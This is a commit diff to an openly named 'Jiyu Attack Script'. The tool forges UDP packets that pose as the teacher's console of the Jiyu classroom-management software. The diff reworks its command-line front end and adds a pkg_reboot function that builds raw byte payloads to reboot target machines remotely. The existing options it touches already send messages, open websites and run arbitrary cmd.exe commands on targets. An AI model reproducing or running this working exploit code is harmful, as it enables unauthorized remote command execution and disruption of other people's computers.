feat: Add pkg_reboot function to package reboot command with optional timeout and message

Author: weilycoder

Jiyu_udp_attack/__main__.py

@@ -12,38 +12,105 @@
 import argparse
 
 from sender import broadcast_packet
-from packet import pkg_message, pkg_website, pkg_execute
+from packet import pkg_message, pkg_reboot, pkg_website, pkg_execute
 
 
 if __name__ == "__main__":
     parser = argparse.ArgumentParser(
         description="Jiyu Attack Script",
         epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/",
     )
-    parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
-    parser.add_argument("-f", "--teacher-port", type=int, default=None, help="Teacher's port (default to random port)")
-    parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
-    parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
-    parser.add_argument("-i", "--ip-id", type=int, default=None, help="IP ID for the packet (default: random ID)")
+    parser.add_argument(
+        "-s",
+        "--teacher-ip",
+        type=str,
+        required=True,
+        help="Teacher's IP address",
+    )
+    parser.add_argument(
+        "-f",
+        "--teacher-port",
+        type=int,
+        default=None,
+        help="Teacher's port (default to random port)",
+    )
+    parser.add_argument(
+        "-t",
+        "--target",
+        type=str,
+        required=True,
+        help="Target IP address",
+    )
+    parser.add_argument(
+        "-p",
+        "--port",
+        type=int,
+        default=4705,
+        help="Port to send packets to (default: 4705)",
+    )
+    parser.add_argument(
+        "-i",
+        "--ip-id",
+        type=int,
+        default=None,
+        help="IP ID for the packet (default: random ID)",
+    )
 
     group = parser.add_mutually_exclusive_group(required=True)
-    group.add_argument("-m", "--message", type=str, help="Message to send")
-    group.add_argument("-w", "--website", type=str, help="Website URL to ask to open")
-    group.add_argument("-c", "--command", type=str, help="Command to execute on the target")
+    group.add_argument(
+        "-m",
+        "--message",
+        type=str,
+        help="Message to send",
+    )
+    group.add_argument(
+        "-w",
+        "--website",
+        type=str,
+        help="Website URL to ask to open",
+    )
+    group.add_argument(
+        "-c",
+        "--command",
+        type=str,
+        help="Command to execute on the target",
+    )
+    group.add_argument(
+        "-r",
+        "--reboot",
+        nargs="*",
+        default=None,
+        metavar="timeout [message]",
+        help="Reboot the target machine, optionally with a timeout and message",
+    )
 
     args = parser.parse_args()
     teacher_ip = args.teacher_ip
     teacher_port = args.teacher_port
     target = args.target
     port = args.port
-    if args.message:
-        payload = pkg_message(args.message)
-    elif args.website:
-        payload = pkg_website(args.website)
-    elif args.command:
-        payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
-    else:
-        raise ValueError("Either message or website must be provided")
-
-    broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
-    print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")
+
+    try:
+        if args.message:
+            payload = pkg_message(args.message)
+        elif args.website:
+            payload = pkg_website(args.website)
+        elif args.command:
+            payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
+        elif args.reboot is not None:
+            match args.reboot:
+                case []:
+                    payload = pkg_reboot()
+                case [timeout]:
+                    payload = pkg_reboot(timeout=int(timeout))
+                case [timeout, message]:
+                    payload = pkg_reboot(timeout=int(timeout), message=message)
+                case _:
+                    parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
+        else:
+            raise ValueError("Either message or website must be provided")
+
+        broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
+        print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")
+    except Exception as e:
+        parser.error(f"({e.__class__.__name__}) {e}")

Jiyu_udp_attack/packet.py

@@ -111,3 +111,22 @@ def pkg_website(url: str) -> bytes:
     )
 
     return head + data + b"\x00" * 4
+
+
+def pkg_reboot(timeout: Optional[int] = None, message: str = "") -> bytes:
+    """
+    Packages a command to reboot the system into a specific byte format, including a header.
+
+    Returns:
+        bytes: The packaged reboot command as a byte array, including a header and padding.
+    """
+    head = (
+        b"DMOC\x00\x00\x01\x00*\x02\x00\x00"
+        + secrets.token_bytes(16)
+        + b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x13\x00\x00"
+        + (b"\x01" if timeout is None else b"\x00")
+        + (timeout or 0).to_bytes(4, "little")
+        + b"\x01\x00\x00\x00\x00\x00\x00\x00"
+    )
+    data = format_data(message, 256)
+    return head + data + b"\x00" * 258